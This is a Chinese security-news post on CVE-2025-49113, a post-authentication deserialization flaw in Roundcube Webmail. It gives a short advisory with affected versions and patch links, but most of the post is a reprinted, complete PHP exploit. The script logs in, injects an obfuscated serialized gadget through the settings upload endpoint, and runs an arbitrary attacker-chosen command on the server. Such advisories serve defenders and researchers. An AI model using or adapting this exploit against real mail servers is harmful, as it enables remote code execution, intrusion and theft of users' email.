CVE-2025-49113|Roundcube Webmail反序列化漏洞(POC)

CVE-2025-49113|Roundcube Webmail反序列化漏洞(POC)

alicy 信安百科 2025-06-07 10:50

0x00 前言

Roundcube Webmail是一个开源的基于web的电子邮件客户端,旨在提供用户友好的界面和强大的功能,使用户能够通过web浏览器方便地访问和管理他们的电子邮件。

Roundcube支持标准的邮件协议(如IMAP和SMTP),并提供了许多常见的邮件功能,如收发邮件、管理联系人、创建日历事件等。其界面简洁直观,易于使用,同时还支持插件扩展,用户可以根据自己的需求定制功能。

Roundcube Webmail被广泛应用于个人用户、企业和组织,为他们提供了一个方便、安全的电子邮件管理解决方案。

0x01 漏洞描述

在program/actions/settings/upload.php文件中没有对 _from参数进行验证,导致允许
经过身份验证的用户
触发反序列化,执行远程代码。

0x02 CVE编号

CVE-2025-49113

0x03 影响版本

Roundcube Webmail <1.5.10

1.6.0<= Roundcube Webmail <1.6.11

0x04 漏洞详情

POC:

https://github.com/fearsoff-org/CVE-2025-49113

<?php

/**
 * Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]
 *
 * Universal PoC for any PHP version
 * 
 * Author: Kirill Firsov https://x.com/k_firsov
 * Organization: FearsOff Cybersecurity (https://fearsoff.org)
 * Writeup: https://fearsoff.org/research/roundcube
 *
 * 
 * Main execution flow.
 * php CVE-2025-49113.php http://roundcube.local username password "touch /tmp/pwned"
 *
 * 
 * Disclaimer:
 *   This proof-of-concept code is provided for educational and research purposes only.
 *   The author and contributors assume no responsibility for any misuse or damage
 *   resulting from the use of this code. Unauthorized use on systems you do not own
 *   or have explicit permission to test is illegal and strictly prohibited. Use at your own risk.
 *
 * @param array<string> $argv
 * @return void
 */
function main(array $argv): void
{
    message('Roundcube ≤ 1.6.10 Post-Auth RCE via PHP Object Deserialization [CVE-2025-49113]');

    if (count($argv) < 5) {
        message(
            sprintf(
                'Usage: php %s <target_url> <username> <password> <command>',
                basename(__FILE__)
            ),
            1
        );
    }

    [$_, $targetUrl, $username, $password, $command] = $argv;

    try {
        validateUrl($targetUrl);

        // Initial request to get CSRF token and starting session cookies
        [$csrfToken, $initialCookie] = fetchCsrfTokenAndCookie($targetUrl);

        // Authenticate using the initial cookie
        $sessionCookie = authenticate(
            $targetUrl,
            $username,
            $password,
            $csrfToken,
            $initialCookie
        );

        message("Command to be executed: \n" . $command);

        // Prepare and inject payload
        [$payloadName, $payloadFile] = calcPayload($command);
        injectPayload($targetUrl, $sessionCookie, $payloadName, $payloadFile);

        // Trigger and cleanup
        executePayload($targetUrl, $sessionCookie);

        message('Exploit executed successfully');
    } catch (\Exception $e) {
        message('Error: ' . $e->getMessage(), 1);
    }
}

// -----------------------------------------------------------------------------
// Helper functions
// -----------------------------------------------------------------------------

/**
 * Validates the target URL.
 *
 * @param string $url
 * @throws \Exception
 */
function validateUrl(string $url): void
{
    if (false === filter_var($url, FILTER_VALIDATE_URL)) {
        throw new \Exception('Invalid target URL: ' . $url);
    }
}

/**
 * Retrieves CSRF token and session cookie from initial GET.
 *
 * @param string $targetUrl
 * @return array{string, string} [urlencoded csrf token, initial cookie string]
 * @throws RuntimeException If request fails or token missing
 */
function fetchCsrfTokenAndCookie(string $targetUrl): array
{
    message('Retrieving CSRF token and session cookie...');

    $context = stream_context_create(['http' => ['method' => 'GET']]);
    $body = @file_get_contents($targetUrl . '/', false, $context);
    if (false === $body) {
        throw new \RuntimeException('Failed to fetch initial page for CSRF token');
    }

    $rawHeaders = $http_response_header ?? [];
    $headersStr = implode("\r\n", $rawHeaders);

    $token  = getToken($body);
    $cookie = getCookie($headersStr);

    return [$token, $cookie];
}

/**
 * Authenticates to Roundcube and returns the updated session cookie.
 *
 * @param string $targetUrl
 * @param string $user
 * @param string $pass
 * @param string $token
 * @param string $cookie Existing cookie from initial request
 * @return string Combined session cookie
 * @throws RuntimeException on authentication failure
 */
function authenticate(
    string $targetUrl,
    string $user,
    string $pass,
    string $token,
    string $cookie
): string {
    message("Authenticating user: {$user}");

    $postData = http_build_query([
        '_token'    => $token,
        '_task'     => 'login',
        '_action'   => 'login',
        '_timezone' => '_default_',
        '_url'      => '_task=login',
        '_user'     => $user,
        '_pass'     => $pass,
    ]);

    $headers = [
        'Content-Type: application/x-www-form-urlencoded',
        "Cookie: {$cookie}",
    ];

    $context = stream_context_create([
        'http' => [
            'method'          => 'POST',
            'header'          => implode("\r\n", $headers),
            'content'         => $postData,
            'follow_location' => 0,
        ],
    ]);

    $body = @file_get_contents($targetUrl . '/?_task=login', false, $context);
    $respHeaders = implode("\r\n", $http_response_header ?? []);

    if (false === $body || !preg_match('#HTTP/\d+\.\d+\s+302#', $respHeaders)) {
        throw new \RuntimeException('Authentication failed: ' . PHP_EOL . ($body ?: 'no response'));
    }

    message('Authentication successful');

    return getCookie($respHeaders);
}

/**
 * Injects the malicious payload via the user settings upload endpoint.
 *
 * @param string $targetUrl
 * @param string $cookie
 * @param string $payloadName
 * @param string $payloadFile
 * @return void
 * @throws \Exception
 */
function injectPayload(string $targetUrl, string $cookie, string $payloadName, string $payloadFile): void
{
    message('Injecting payload...');

    $boundary = '------a_rule_for_WAF_to_block_fool_exploitation';

    $multipart = implode("\r\n", [
        '--' . $boundary,
        'Content-Disposition: form-data; name="_file[]"; filename="' . $payloadFile . '"',
        'Content-Type: image/png',
        '',
        base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAgAAAAIAQMAAAD+wSzIAAAABlBMVEX///+/v7+jQ3Y5AAAADklEQVQI12P4AIX8EAgALgAD/aNpbtEAAAAASUVORK5CYII'),
        '--' . $boundary . '--',
    ]);

    $headers = implode("\r\n", [
        'X-Requested-With: XMLHttpRequest',
        'Content-Type: multipart/form-data; boundary=' . $boundary,
        'Cookie: ' . $cookie,
    ]);

    $context = stream_context_create([
        'http' => [
            'method'  => 'POST',
            'header'  => $headers,
            'content' => $multipart,
        ],
    ]);

    $url = sprintf(
        '%s/?_from=edit-%s&_task=settings&_framed=1&_remote=1&_id=1&_uploadid=1&_unlock=1&_action=upload',
        $targetUrl,
        urlencode($payloadName)
    );

    message('End payload: ' . $url);

    $response = @file_get_contents($url, false, $context);
    if (false === $response || strpos($response, 'preferences_time') === false) {
        throw new \Exception('Payload injection failed, got: ' . ($response ?: 'no response'));
    }

    message('Payload injected successfully');
}

/**
 * Triggers execution of the injected payload by serializing session data.
 *
 * @param string $targetUrl
 * @param string $cookie
 * @return void
 */
function executePayload(string $targetUrl, string $cookie): void
{
    message('Executing payload...');
    $token = getToken(
        file_get_contents(
            $targetUrl . '/',
            false,
            stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]])
        )
    );

    file_get_contents(
        sprintf('%s/?_task=logout&_token=%s', $targetUrl, $token),
        false,
        stream_context_create(['http' => ['header' => 'Cookie: ' . $cookie]])
    );
}

/**
 * Extracts and encodes the CSRF token from response body.
 *
 * @param string $body HTTP response body
 * @return string URL-encoded token
 * @throws RuntimeException If token is not found
 */
function getToken(string $body): string
{
    if (preg_match('/(?:"request_token":"|&_token=)([^"&]+)(?:"|\s)/Uuis', $body, $matches)) {
        return rawurlencode($matches[1]);
    }

    throw new \RuntimeException('CSRF token not found in response body');
}

/**
 * Aggregates Set-Cookie headers into a single cookie string.
 *
 * @param string $headers Raw HTTP headers
 * @param string $existing Any existing cookie string to preserve
 * @return string Concatenated cookies
 */
function getCookie(string $headers, string $existing = ''): string
{
    $cookies = [];

    if (preg_match_all('/^Set-Cookie:\s*([^=]+)=([^;]+);/mi', $headers, $matches, PREG_SET_ORDER)) {
        foreach ($matches as [$full, $key, $value]) {
            if ($value === '-del-') {
                continue;
            }
            $cookies[] = sprintf('%s=%s', $key, $value);
        }
    }

    return $existing . implode(';', $cookies) . (!empty($cookies) ? ';' : '');
}

/**
 * Magic is happening here
 */
function calcPayload($cmd){

class Crypt_GPG_Engine{
private $_gpgconf;

function __construct($cmd){
$this->_gpgconf = $cmd.';#';
        }
    }

$payload = serialize(new Crypt_GPG_Engine($cmd));
$payload = process_serialized($payload) . 'i:0;b:0;';
$append = strlen(12 + strlen($payload)) - 2;
$_from = '!";i:0;'.$payload.'}";}}';
$_file = 'x|b:0;preferences_time|b:0;preferences|s:'.(78 + strlen($payload) + $append).':\\"a:3:{i:0;s:'.(56 + $append).':\\".png';

$_from = preg_replace('/(.)/', '$1' . hex2bin('c'.rand(0,9)), $_from); //little obfuscation

return [$_from, $_file];
}

/**
 * PHPGGC magic
 */
function process_serialized($serialized, $full = false){
$new = '';
$last = 0;
$current = 0;
$pattern = '#\bs:([0-9]+):"#';

while(
$current < strlen($serialized) &&
preg_match(
$pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
        )
    )
    {
$p_start = $matches[0][1];
$p_start_string = $p_start + strlen($matches[0][0]);
$length = $matches[1][0];
$p_end_string = $p_start_string + $length;

if(!(
strlen($serialized) > $p_end_string + 2 &&
substr($serialized, $p_end_string, 2) == '";'
        ))
        {
$current = $p_start_string;
continue;
        }
$string = substr($serialized, $p_start_string, $length);

$clean_string = '';
for($i=0; $i < strlen($string); $i++)
        {
$letter = $string[$i];
            if($full || !ctype_print($letter) || $letter == '\\' || $letter == '|' || $letter == '.' /* rc spec */)
$letter = sprintf("\\%02x", ord($letter));

$clean_string .= $letter;
        }

$new .= 
substr($serialized, $last, $p_start - $last) .
'S:' . $matches[1][0] . ':"' . $clean_string . '";'
        ;
$last = $p_end_string + 2;
$current = $last;
    }

$new .= substr($serialized, $last);
return $new;
}

/**
 * Prints a formatted message and optionally exits.
 *
 * @param string  $text     Message to print
 * @param int     $exitCode Exit code (0 to continue)
 * @return void
 */
function message(string $text, int $exitCode = 0): void
{
    echo '### ' . $text . PHP_EOL . PHP_EOL;

    if ($exitCode !== 0) {
        exit($exitCode);
    }
}

main($argv);

0x05 参考链接

https://github.com/roundcube/roundcubemail/pull/9865

https://roundcube.net/news/2025/06/01/security-updates-1.6.11-and-1.5.10

推荐阅读:

CVE-2025-22252|FortiOS TACACS+身份认证绕过漏洞

CVE-2025-41225|VMware vCenter Server认证命令执行漏洞

CVE-2025-24893|XWiki Platform远程代码执行漏洞(POC)

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持

!!!

本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。